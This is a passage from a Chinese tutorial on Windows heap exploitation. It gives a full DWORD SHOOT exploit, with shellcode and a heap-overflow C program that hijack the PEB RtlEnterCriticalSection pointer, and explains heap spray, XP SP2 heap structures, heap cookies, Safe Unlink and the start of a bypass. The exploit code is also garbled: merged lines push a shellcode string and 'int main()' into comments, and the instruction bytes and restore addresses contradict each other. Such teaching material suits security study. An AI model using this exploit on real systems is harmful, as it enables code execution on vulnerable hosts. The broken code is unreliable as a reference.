    前向指针使用 shellcode 的起始地址 0x00520688。

    后向指针使用0x7FFDF020(PEB的RtlEnterCriticalSection()函数指针)

  3. 注意:被修改的 P.E.B 里的函数指针不光会被ExitProcess()调用,shellcode 中的函数也会使用。 当 shellcode 的函数使用临界区时,会像 ExitProcess()一样被骗。 所以对 shellcode 稍加修改,在一开始就把 DWORD SHOOT 的指针修复回去

    经过调试,发现0x7FFDF020 处的函数指针为 0x77F82060,使用以下三条指令修复:

    指令 机器码
    MAV EAX,7FFDF020 "\xD8\x20\xF0\xFD\x7F"
    MOV EBX,77F8AA4C "\xBB\x60\x20\xF8\x77"
    MOV [EAX],EBX "\x89\x18"
  4. shellcode如下:

    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90" //repaire the pointer which shooted by heap over run
    "\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
    "\xBB\x4C\xAA\xF8\x77" //MOV EBX,77F8AA4C the address may releated to your OS
    "\x89\x18"//MOV DWORD PTR DS:[EAX],EBX "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
    "\x88\x06\x52\x00\x20\xf0\xfd\x7f";
  5. 整体代码如下:

    #include <windows.h>
    char shellcode[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90" //repaire the pointer which shooted by heap over run
    "\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
    "\xBB\x60\x20\xF8\x77" //MOV EBX,77F82060 the address here may releated to your OS
    "\x89\x18" //MOV DWORD PTR DS:[EAX],EBX "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
    "\x88\x06\x52\x00\x20\xf0\xfd\x7f";
    //0x00520688 is the address of shellcode in first heap block, you have to make sure this address via debug
    //0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
    //and will be called by ExitProcess() at last int main()
    {
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    //__asm int 3 //used to break the process
    //memcpy(h1,shellcode,200); //normal cpy, used to watch the heap
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
    }
  6. 直接运行程序,显示弹出对话框

  7. 加入int 3断点进入OllyDbg查看DWORD SHOOT过程,堆溢出后堆块情况如下

  8. 单步运行程序到卸下堆结点的代码处,可以发现shellcode起始地址已被写入eax中,0x7FFDF020地址被写入ecx中,即将把shellcode起始地址放入0x7FFDF020指向的位置处

  9. 继续运行,此时0x7FFDF020地址处的数据已被替换为shellcode起始地址

2.6.2 Heap Spray

1. 漏洞成因

​ Heap Spray,又称堆喷,与典型能够实施精准攻击的堆漏洞不同,堆喷是一种比较暴力且相对不稳定的攻击手法,并且该手法常常被用来针对浏览器。其产生的原因主要是应用程序在堆分配空间时没有过多的约束,使得攻击者能够多次申请堆块占据大部分内存,再通过地毯式的覆盖,最终劫持程序控制流导致恶意代码被执行。

​ 在栈溢出的利用方式中,劫持程序控制流后往往会将EIP修改为shellcode布置的地址,而为了提高shellcode成功执行的几率,往往会在前方加一小段不影响shellcode执行的滑梯指令(slide code),常用的滑梯指令有nop指令(0x90)及or al指令(0x0c0c)。而随着操作系统安全性的提升,尤其是地址随机化的诞生,使得普通的溢出漏洞难以再掀起波澜。于是研究者们发明了堆喷这一种攻击手法作为辅助攻击的方式。

2. 利用方式

​ 该攻击手法的前提条件为已经可以修改EIP寄存器的值为0x0c0c0c0c。每次申请1M的内存空间,利用多个0x0c指令与shellcode相结合用来填充该空间,一般来说shellcode只占几十字节,相对的滑梯指令占了接近1M,导致滑梯指令的大小远远大于shellcode大小。通过多次申请1M的空间来将进程空间中的0x0c0c0c0c地址覆盖。因为有远大于shellcode的滑梯指令的存在,该地址上的值有99%以上的几率被覆盖为0x0c0c0c0c,从而执行到shellcode。由于堆分配是从低地址向高地址分配,因此一般申请200M(0x0c800000)的堆块就能够覆盖到0x0c0c0c0c的地址。

​ 该利用方式中之所以不采用0x90作为滑梯指令,主要是因为内存空间中存放了许多对象的虚函数指针,当将这些虚函数指针覆盖到0x90909090后,在调用该函数就会导致程序崩溃,该阶段操作系统分配给用户使用的内存为前2G,即0x00000000 - 0x7FFFFFFF,其中进程仅能访问0x00010000 – 0x7FFEFFFF,从0x80000000 – 0xffffffff的后2G内存被设计来只有内核能够访问。而覆盖为0x0c0c0c0c时,0x0c0c0c0c地址有很大几率已经被我们用滑梯指令所覆盖,从而直接执行shellcode。因此,若虚函数指针被覆盖为0x90909090为内核空间,不能被进程所访问,采用0x0c作为滑梯指令一举两得。

​ 该利用方式由于会很暴力地申请多次内存,并将构造好的大量滑梯指令及小部分的shellcode像井喷一样“喷”满内存各处,因此又被很形象地命名为“堆喷”。

3. Windows XP SP2 – Windows 2003

3.1 环境准备

环境 环境准备
虚拟机 32位Windows XP SP2 \32位Windows XP SP3
调试器 OllyDbg、WinDbg
编译器 VC6.0++、VS2008

3.2 堆的结构(Windbg详细分析)

​ 在该阶段,堆块的数据结构基本继承于Windows 2000 – Windows XP SP1阶段的数据结构。但由于增加了一些保护机制,导致了堆块的堆头的基本结构与原始结构有所差别

本部分结构与Windows 2000除了块头部分基本一致,只是多了windbg对各部分结构的详细分析,重复部分是为了方便连续阅读。

windows2000和windows2003堆首结构的细微差别

3.2.1 堆的0号段

​ 堆管理器在创建堆时会建立一个段(Segment),在一个段用完后,如果这个堆是可增长的(含有HEAP_GROWABLE标志),则堆管理器会再分配一个段。所以每个堆至少拥有一个段,即0号段,最多可以拥有64个段

​ 在0号段的开始处存放着堆的头信息,是一个HEAP结构,其中定义了很多个字段用来记录堆的属性。每个段都有一个HEAP_SEGMENT结构来描述自己,对于0号段,这个结构位于HEAP结构之后,对于其他段,这个结构位于段的起始处

图3-2-1 左:0号段 右:1号段

1. 堆的管理结构

1)通过dt _PEB @$peb 查看PEB内容

2)可见堆块个数和堆数组起始地址

3)通过dd 0x7c99cfc0 查看堆块数组

4)通过dt _HEAP 00090000 查看进程默认堆的结构体

lkd> dt _HEAP 00090000
ntdll!_HEAP
+0x000 Entry : _HEAP_ENTRY //存放管理结构的堆块句柄
+0x008 Signature : 0xeeffeeff //HEAP结构的签名,固定为这个值
+0x00c Flags : 2 //堆标志,2代表HEAP_GROWABLE
+0x010 ForceFlags : 0 //强制标志
+0x014 VirtualMemoryThreshold : 0xfe00 //最大堆块大小
+0x018 SegmentReserve : 0x100000 //段的保留空间大小
+0x01c SegmentCommit : 0x2000 //每次提交内存的大小
+0x020 DeCommitFreeBlockThreshold : 0x200 //解除提交的单块阈值(粒度为单位)
+0x024 DeCommitTotalFreeThreshold : 0x2000 //解除提交的总空闲块阈值(粒度数)
+0x028 TotalFreeSize : 0x60e //空闲块总大小,以粒度为单位
+0x02c MaximumAllocationSize : 0x7ffdefff //可分配的最大值
+0x030 ProcessHeapsListIndex : 1 //本堆在进程堆列表中的索引
+0x032 HeaderValidateLength : 0x608 //头结构的验证长度,实际占用0x640
+0x034 HeaderValidateCopy : (null)
+0x038 NextAvailableTagIndex : 0 //下一个可用的堆块标记索引
+0x03a MaximumTagIndex : 0 //最大的堆块标记索引号
+0x03c TagEntries : (null) //指向用于标记堆块的标记结构
+0x040 UCRSegments : (null) //UnCommitedRange Segments
+0x044 UnusedUnCommittedRanges : 0x00090598 _HEAP_UNCOMMMTTED_RANGE
+0x048 AlignRound : 0xf
+0x04c AlignMask : 0xfffffff8 //用于地址对齐的掩码
+0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x90050 - 0x90050 ]
+0x058 Segments : [64] 0x00090640 _HEAP_SEGMENT //段数组
+0x158 u : __unnamed //FreeList的位图bitmap,16个字节对应128位
+0x168 u2 : __unnamed
+0x16a AllocatorBackTraceIndex : 0 //用于记录回溯信息
+0x16c NonDedicatedListLength : 1
+0x170 LargeBlocksIndex : (null)
+0x174 PseudoTagEntries : (null)
+0x178 FreeLists : [128] _LIST_ENTRY [ 0xcb3d0 - 0xcb3d0 ] //空闲块
+0x578 LockVariable : 0x00090608 _HEAP_LOCK //用于串行化控制的同步对象
+0x57c CommitRoutine : (null)
+0x580 FrontEndHeap : 0x00090688 Void //用于快速释放堆块的“前端堆”
+0x584 FrontHeapLockCount : 0 //“前端堆”的锁定计数
+0x586 FrontEndHeapType : 0x1 '' //“前端堆”的类型
+0x587 LastSegmentIndex : 0 '' //最后一个段的索引号
  • VirtualMemoryThreshold:以分配粒度为单位的堆块阈值,即前面提到过的可以在段中分配的堆块最大值。0xfe00×8 字节 = 0x7f000 字节 = 508KB

    ​ 这个值小于真正的最大值,为堆块的管理信息区保留了 4KB 的空间。即这个堆中最大的普通堆块的用户数据区是 508KB,对于超过这个数值的分配申请,堆管理器会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地 址记录在 VirtualAllocdBlocks 所指向的链表中。

    注意:如果堆标志中不包含 HEAP_GROWABLE,这样的分配就会失败。如果一个堆是不可增长的,那么可以分配的最大用户数据区便是 512KB,即使堆中空闲空间远远大于这个值。

  • Segments :用来记录堆中包含的所有段,它是一个数组,其中每个元素是一个指向 HEAP_SEGMENT 结构的指针

  • LastSegmentIndex:用来标识目前堆中最后一个段的序号, 其值加一便是段的总个数。

  • FreeLists:是一个包含 128 个元素的数组,用来记录堆中空闲堆块链表的表头。当有新的分配请求时,堆管理器会遍历这个链表寻找可以满足请求大小的最接近堆块。如果找到了,便将这个块分配出去;否则,便要考虑为这次请求提交新的内存页和建立新的堆块

    当释放一个堆块时,除非这个堆块满足解除提交的条件,要直接释放给内存管理器,大多数情况下对其修改属性并加入空闲链表中

2. HEAP_SEGMENT 结构

1)通过dt _HEAP_SEGMENT 0x00090640 查看该结构

2)该结构体如下

ntdll!_HEAP_SEGMENT
+0x000 Entry : _HEAP_ENTRY //段中存放本结构的堆块
+0x008 Signature : 0xffeeffee //段结构的签名,固定为这个值
+0x00c Flags : 0 //段标志
+0x010 Heap : 0x00090000 _HEAP //段所属的堆
+0x014 LargestUnCommittedRange : 0x19000
+0x018 BaseAddress : 0x00090000 Void //段的基地址
+0x01c NumberOfPages : 0x100 //段的内存页数
+0x020 FirstEntry : 0x00090680 _HEAP_ENTRY //第一个堆块
+0x024 LastValidEntry : 0x00190000 _HEAP_ENTRY //堆块的边界值
+0x028 NumberOfUnCommittedPages : 0x50 //尚未提交的内存页数
+0x02c NumberOfUnCommittedRanges : 0x13 //UnCommittedRanges数组元素数
+0x030 UnCommittedRanges : 0x02ff0160 _HEAP_UNCOMMMTTED_RANGE
+0x034 AllocatorBackTraceIndex : 0 //初始化段的UST记录序号
+0x036 Reserved : 0
+0x038 LastEntryInSegment : 0x0010fda0 _HEAP_ENTRY //最末一个堆块

​ 该结构体信息为堆的第一个段的信息,在这个段的开头存放的是堆的管理结构,其地址范围为 0x00090000~0x00090640 字节,从 0x00090640 开始是 0x40 字节长的_HEAP_SEGMENT,之后便是段中的第一个用户堆块,FirstEntry 字段用来直接指向这个堆块。堆管理器使用 HEAP_ENTRY 结构来描述每个堆块

3.2.2 堆块

​ 堆中的内存区被分割为一系列不同大小的堆块。每个堆块的起始处一定是一个 8 字节的 HEAP_ENTRY 结构,后面便是供应用程序使用的区域,通常称为用户区

​ HEAP_ENTRY 结构的前两字节是以分配粒度表示的堆块大小。分配粒度通常为 8 字节,这意味着每个堆块的最大值是 2 的 16 次方乘以 8 字节,即 0x10000×8 字节 = 0x80000 字节 = 524288 字节=512KB, 因为每个堆块至少要有 8 字节的管理信息,所以应用程序可以使用的最大堆块便是 0x80000 字节 - 8 字节 = 0x7FFF8 字节

1. HEAP_ENTRY 结构

1)通过dt _HEAP_ENTRY 0x00090680 查看该结构

2)该结构如下:

ntdll!_HEAP_ENTRY
+0x000 Size : 0x301 //堆块的大小,以分配粒度为单位
+0x002 PreviousSize : 8 //前一个堆块的大小
+0x000 SubSegmentCode : 0x00080301 Void
+0x004 SmallTagIndex : 0xfe '' //用于检查堆溢出的Cookie
//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
+0x005 Flags : 0x1 '' //标志
+0x006 UnusedBytes : 0x8 '' //因为补齐而多分配的字节数
+0x007 SegmentIndex : 0 '' //这个堆块所在段的序号

堆块标志如下

标志 含义
HEAP_ENTRY_BUSY 01 该块处于占用(busy)状态
HEAP_ENTRY_EXTRA_PRESENT 02 这个块存在额外(extra)描述
HEAP_ENTRY_FIILL_PRPATTERN 04 使用固定模式填充堆块
HEAP_ENTRY_VIRTUAL_ALLOC 08 虚拟分配(virtual allocation)
HEAP_ENTRY_LAST_ENTRY 0x10 该段的最后一个块
HEAP_ENTRY_SETTABLE_FLAG1 0x20
HEAP_ENTRY_SETTABLE_FLAG2 0x40
HEAP_ENTRY_SETTABLE_FLAG3 0x80 No coalesce

2.HEAP_FREE_ENTRY结构

​ 空闲态堆块和占用态堆块的块首结构基本一致,只是将块首后数据区的前 8 个字节用于存放空表指针了,这 8 个字节在变回占用态时将重新分回块身用于存放数据

1)通过dt ntdll!_HEAP_FREE_ENTRY 查看该结构

2)该结构如下:

lkd> dt ntdll!_HEAP_FREE_ENTRY
+0x000 Size : Uint2B //堆块的大小,以分配粒度为单位
+0x002 PreviousSize : Uint2B //上一堆块的大小,以分配粒度为单位
+0x000 SubSegmentCode : Ptr32 Void //子段代码
+0x004 SmallTagIndex : UChar //堆块的标记序号
//_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
+0x005 Flags : UChar //堆块标志
+0x006 UnusedBytes : UChar //残留信息
+0x007 SegmentIndex : UChar //所在段序号
+0x008 FreeList : _LIST_ENTRY //空闲链表的节点

占用状态的堆块

空闲状态的堆块

3.2.3 虚拟内存块VirtualAllocdBlocks

​ 当一个应用程序要分配大于 512KB 的堆块时,如果堆标志中包含 HEAP_GROWABLE(2),那 么堆管理器便会直接调用 ZwAllocateVirtualMemory 来满足这次分配,并把分得的地址记录在 HEAP 结构的 VirtualAllocdBlocks 所指向的链表中

​ 每个大虚拟内存块的起始处是一个 HEAP_VIRTUAL_ALLOC_ENTRY 结构(32 字节)

typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY {
LIST_ENTRY Entry;
HEAP_ENTRY_EXTRA ExtraStuff;
SIZE_T CommitSize;
SIZE_T ReserveSize;
HEAP_ENTRY BusyBlock;
} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY;

3.3 堆块的操作

​ 在该阶段,堆的分配被划分为前端堆管理器(Front-End Manager)后端堆管理器(Back-End Manager)

​ 前端堆管理器主要由上文中提到的快表有关的分配机制构成,后端堆管理器则是由空表有关的分配机制构成。除前、后端堆管理器以外的堆块分配、释放、合并等操作基本继承于Windows 2000 – Windows XP SP1阶段的堆块操作

3.3.1 前端分配器

​ 处Windows Vista以外,所有版本的Windows默认情况下均采用旁视列表前端分配器

1. 旁视列表Lookaside

​ 旁视列表 (Look Aside List, LAL)是一种老的前端分配器,在Windows XP中使用

​ 快表是与Linux系统中Fastbin相似的存在,是为加速系统对小块的分配而存在的一个数据结构。快表共有128条单向链表,每一条单链表为一条快表,除第0号、1号快表外,从第2号快表到127号快表分别维护着从16字节(含堆头)开始到1016字节(含堆头)每8字节递增的快表,即(快表号*8字节)大小。由于空闲状态的堆头信息占8字节,因此0号和1号快表始终不会有堆块链入

​ 快表总是被初始化为空,每条快表最多有4个结点,进入快表的堆块遵从先进后出(FILO)的规律。为提升小堆块的分配速度,在快表中的空闲堆块不会进行合并操作

注意:图中堆块字节数已包含块头的8字节

​ 在分配新的堆块时,堆管理器会先搜索旁视列表,看是否有合适的堆块。因为从旁视列表中分配堆块是优先于其他分配逻辑的,所以它又叫前端堆(front end heap),前端堆主要用来提高释放和分配堆块的速度

HEAP_LOOKASIDE结构

typedef struct _HEAP_LOOKASIDE {
SLIST_HEADER_ ListHead; //指向堆块节点
USHORT Depth;
USHORT MaximumDepth;
ULONG TotalAllocates;
ULONG AllocateMisses;
ULONG TotalFrees;
ULONG FreeMisses;
ULONG LastTotalAllocates;
ULONG LastAllocateMisses;
ULONG Counters[2];
#ifdef _IA64_
DWORD Pad[3];
#else
DWORD Pad;
#endif
} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE;

2. 低碎片堆Low Fragmentation

1)堆碎片

​ 在堆上的内存空间被反复分配和释放一段时间后,堆上的可用空间可能被分割得支离破碎, 当再试图从这个堆上分配空间时,即使可用空间加起来的总额大于请求的空间,但是因为没有一块连续的空间可以满足要求,所以分配请求仍会失败,这种现象称为堆碎片(heap fragmentation)。

​ 堆碎片与磁盘碎片的形成机理一样,但比磁盘碎片的影响更大。多个磁盘碎片加起来仍可以满足磁盘分配请求,但是堆碎片是无法通过累加来满足内存分配要求的,因为堆函数返回的必须是地址连续的一段空间。

2)低碎片堆

​ 针对堆碎片问题,Windows XP 和 Windows Server 2003 引入了低碎片堆(Low Fragmentation Heap,LFH)。

​ LFH 将堆上的可用空间划分成 128 个桶位 (bucket),编号为 1~128,每个桶位的空间大小依次递增,1 号桶为 8 字节,128 号桶为 16384 字节(即 16KB)。当需要从 LFH 上分配空间时,堆管理器会根据堆函数参数中所请求的字节将满足要求的最小可用桶分配出去。

举例

​ 如果应用程序请求分配 7 字节,而且 1 号桶空闲,那么将 1 号桶分配给它,如果 1 号桶已经分配出去了(busy),那么便尝试分配 2 号桶。

​ LFH 为不同编号区域的桶规定了不同的分配粒度,桶的容量越大,分配桶时的粒度也越大,比如 1~ 32 号桶的粒度是 8 字节,这意味着这些桶的最小分配单位是 8 字节,对于不足 8 字节的分配请求, 也至少会分配给 8 字节。

桶位(bucket) 分配粒度(granularity) 适用范围(range)
1~32 8 1~256
33~48 16 257~512
49~64 32 513~1024
65~80 64 1025~2048
91~96 128 2049~4096
97~112 256 4097~8192
113~128 512 8193~16384

​ 通过 HeapSetInformation API 可以对一个已经创建好的 NT 堆启用低碎片堆支持。调用 HeapQueryInformation API 可以查询一个堆是否启用了 LFH 支持

​ 例如,下面的代码对当前进程的进程堆启用 LFH 功能:

ULONG HeapFragValue = 2;
BOOL bSuccess = HeapSetInformation(GetProcessHeap(), HeapCompatibilityInformation, &HeapFragValue, sizeof(HeapFragValue));

3.3.2 后端管理器

1. FreeList

​ 如果前端分配器无法满足分配请求,那么这个请求将被转发到后端分配器。

​ 后端分配器包含了一张空闲列表,即前面提到的FreeList。如果分配请求被转发到后端分配器,那么堆管理器将首先再空闲列表中查找。

​ 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分为 128 条。 堆区一开始的堆表区中有一个 128 项的指针数组,被称做空表索引(Freelist array)。该数组的每一项包括两个指针,用于标识一条空表

​ 把空闲堆块按照大小的不同链入不同的空表,可以方便堆管理系统高效检索指定大小的空闲堆块。

堆管理器将分配请求映射到空闲列表位图索引的算法

​ 将请求的字节数+8,再除以8得到索引

举例

​ 对于分配8字节的请求,堆管理器计算出的空闲列表位图索引为2,即(8+8)/2

注意

  • 空表索引的第一项(free[0])所标识的空表相对比较特殊。这条双向链表链入了所有大于等于 1024 字节的堆块(小于 512KB)。这些堆块按照各自的大小在零号空表中升序地依次排列下去。
  • FreeList[1]没有被使用,因为堆块的最小值为16(8字节块头+8字节用户数据)

图3-3-2(1) 空闲双向链表FreeList结构

2. 空表位图

​ 空表位图大小为128bit,每一bit都对应着相应一条空表。若该对应的空表中没有链入任何空闲堆块,则对应的空表位图中的bit就为0,反之为1。在从对应大小空表分配内存失败后,系统将尝试从空表位图中查找满足分配大小且存在空闲堆块的最近的空表,从而加速了对空表的遍历

3. 堆缓存

​ 所有等于或大于1024的空闲块,都被存放在FreeList[0]中。 这是一个从小到大排序的双向链表。因此,如果FreeList[0]中有越来越多的块, 当每次搜索这个列表的时候,堆管理器将需要遍历多外节点。 堆缓存可以减少对FreeList[0]多次访问的开销。它通过在FreeList[0]的块中创建一个额外的索引来实现。

注意

​ 堆管理器并没有真正移动任何空的块到堆缓存。这些空的块依旧保存在FreeList[0],但堆缓存保存着FreeList[0]内的一 些节点的指针,把它们当作快捷方式来加快遍历。

堆缓存结构

​ 这个堆缓存是一个简单的数组,数组中的每个元素大小都是int ptr_t字节,并且包含指向NULL指针或指向FreeList[0]中的块的指针。这个数组包含896个元素,指向的块在1024到8192之间。这是一个可配置的大小,我们将称它为最大缓存索引(maximum cache index) 。

​ 每个元素包含一个单独的指向FreeList[0]中第一个块的指针,它的大小由这个元素决定。如果FreeList[0]中没有大小与它匹配的元素,这个指针将指向NULL。

​ 堆缓存中最后一个元素是唯一的:它不是指向特殊大小为8192的块,而是代表所有大于或等于最大缓存索引的块。所以,它会指向FreeList[0]中第一个大小大于 最大缓存索引的块。

堆缓存位图

​ 堆缓存数组大部分的元素是空的,所以有一个额外的位图用来加快搜索。这个位图的工作原理跟加速空闲列表的位图是一样的。

图3-3-2(2) 堆缓存与FreeList[0]

3.4 堆保护机制

3.4.1 Heap Cookie

​ Heap Cookie从Windows XP SP2版本开始使用,为上文提到的改变了Windows堆块结构的保护机制,该机制将堆头信息中原1字节的段索引(Segment Index)的位置新替换成了security cookie用来校验是否发生了堆溢出,相应的原1字节的标签索引(Tag Index)的位置替换为段索引位置,取消掉了标签索引。

1. 堆块分配时设置Heap Cookie

​ 该机制是在堆块分配时在堆头中随机生成1字节的cookie用于保护其之后的标志位(Flags)、未使用大小(Unused bytes)、段索引及前项堆块指针(Flink)、后项堆块指针(Blink)等敏感数据不被堆溢出所篡改。

在分配块时设置Heap Cookie的函数:

//RtlAllocateHeap函数源码中分配一个块后就会设置该块的Heap Cookie
VOID
FORCEINLINE
RtlpSetSmallTagIndex(
IN PHEAP Heap,
IN PVOID HeapEntry,
IN UCHAR SmallTagIndex
)
{
((PHEAP_ENTRY)HeapEntry)->SmallTagIndex = SmallTagIndex ^
((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
}

2. 堆块释放时检查Heap Cookie

​ 在堆块被释放时检查堆头中的cookie是否被篡改,若被篡改则调用RtlpHeapReportCorruption()结束进程。

RtlpHeapReportCorruption函数:

​ 该函数在HeapEnableTerminateOnCorrupton字段被设置后才会起到结束进程的效果,而在该阶段的Windows版本中该字段默认不启用,因此该函数并没有起到结束进程的作用。

​ 对于 2003 和 XP,如果设置了FLG_ENABLE_SYSTEM_CRIT_BREAKS,堆管理器将调用DbgBreakPoint () ,并在安全断开链接检查失败时引发异常。这是一个不 常见的设置,因为它的安全属性没有明确的文档记录

在释放堆块时检验Heap Cookie的函数:

LOGICAL
FORCEINLINE
RtlpQuickValidateBlock(
IN PHEAP Heap,
IN PVOID HeapEntry )
{
UCHAR SegmentIndex = ((PHEAP_ENTRY)HeapEntry)->SegmentIndex;
if ( SegmentIndex < HEAP_LFH_INDEX ) {
#if DBG
if ( (SegmentIndex > HEAP_MAXIMUM_SEGMENTS)
||
(Heap->Segments[SegmentIndex] == NULL)
||
(HeapEntry < (PVOID)Heap->Segments[SegmentIndex])
||
(HeapEntry >= (PVOID)Heap->Segments[SegmentIndex]->LastValidEntry)) {
RtlpHeapReportCorruption(HeapEntry);
return FALSE;
}
#endif // DBG if (!IS_HEAP_TAGGING_ENABLED()) {
if (RtlpGetSmallTagIndex(Heap, HeapEntry) != 0) {
RtlpHeapReportCorruption(HeapEntry);
return FALSE;
}
}
}
return TRUE;
} UCHAR
FORCEINLINE
RtlpGetSmallTagIndex(
IN PHEAP Heap,
IN PVOID HeapEntry )
{
return ((PHEAP_ENTRY)HeapEntry)->SmallTagIndex ^
((UCHAR)((ULONG_PTR)HeapEntry >> HEAP_GRANULARITY_SHIFT) ^ Heap->Entry.SmallTagIndex);
} VOID
RtlpHeapReportCorruption (
IN PVOID Address )
{
DbgPrint("Heap corruption detected at %p\n", Address );
//强制系统中断调试器
if (RtlGetNtGlobalFlags() & FLG_ENABLE_SYSTEM_CRIT_BREAKS) {
//如果安装了内核调试器,此例程将引发由内核调试器处理的异常;否则,调试系统将处理它。 如果调试器未连接到系统,则可以以标准方式处理异常
DbgBreakPoint();
}
}

3.4.2 Safe Unlink

​ Safe Unlink保护机制在前一阶段版本中的Unlink算法前加上了安全检查机制。该机制在堆块从堆表中进行拆卸的操作时,对堆头前项指针和后项指针的合法性进行了检查,解决了之前版本中可通过篡改堆头的前项指针和后项指针轻易执行恶意代码的安全隐患。

在 SP2 之前的链表拆卸操作类似于如下代码:

int remove (ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}

SP2 在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生 DWORD SHOOT,Safe Unlink算法伪代码如下所示:

int safe_remove (ListNode * node)
{
if( (node->blink->flink==node)&&(node->flink->blink==node) )
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 1;
}
else
{
链表指针被破坏,进入异常
return 0;
}
} //如下是windows2003 RtlAllocateHeap中卸下结点时源码内容,可见保护机制代码基本一致
#define RtlpFastRemoveDedicatedFreeBlock( H, FB ) \
{ \
PLIST_ENTRY _EX_Blink; \
PLIST_ENTRY _EX_Flink; \
\
_EX_Flink = (FB)->FreeList.Flink; \
_EX_Blink = (FB)->FreeList.Blink; \
\
if ( (_EX_Blink->Flink == _EX_Flink->Blink)&& \
(_EX_Blink->Flink == &(FB)->FreeList) ){ \
_EX_Blink->Flink = _EX_Flink; \
_EX_Flink->Blink = _EX_Blink; \
\
} else { \
RtlpHeapReportCorruption(&(FB)->FreeList);\
} \
\
if (_EX_Flink == _EX_Blink) { \
CLEAR_FREELIST_BIT( H, FB ); \
} \
}

3.4.3 PEB Random

​ 微软在 Windows XP SP2 之后不再使用固定的 PEB 基址 0x7ffdf000,而是使用具有一定随机性的 PEB 基址.

​ PEB 随机化之后主要影响了对 PEB 中函数的攻击.在 DWORD SHOOT 的时候,PEB 中的函数指针是绝佳的目标,移动 PEB 基址将在一定程度上给这类攻击增加难度

3.5 突破堆保护机制

3.5.1 攻击堆中存储的变量

​ 堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的

3.5.2 Bypass Safe Unlink

1. 漏洞成因

​ 虽然在加入了Safe Unlink条件后,极大的限制了DWORD SHOOT攻击的使用场景,但随着研究人员对Safe Unlink检测机制的研究,仍然构造出了一种十分苛刻的场景达到去绕过Safe Unlink检测机制,触发漏洞最终导致任意地址写。

2. 利用方式

​ Safe Unlink保护机制中,在unlink一个堆块时,会检查该堆块后项堆块的Flink字段和该堆块前项堆块的Blink字段是否都指向该堆块,根据堆块指针和前项后项指针的偏移为0和4字节,可以将判断条件简化为如下伪代码:

//node->Blink->Flink = *(node->Blink)
//node->Flink->Blink = *(node->Flink + 4)
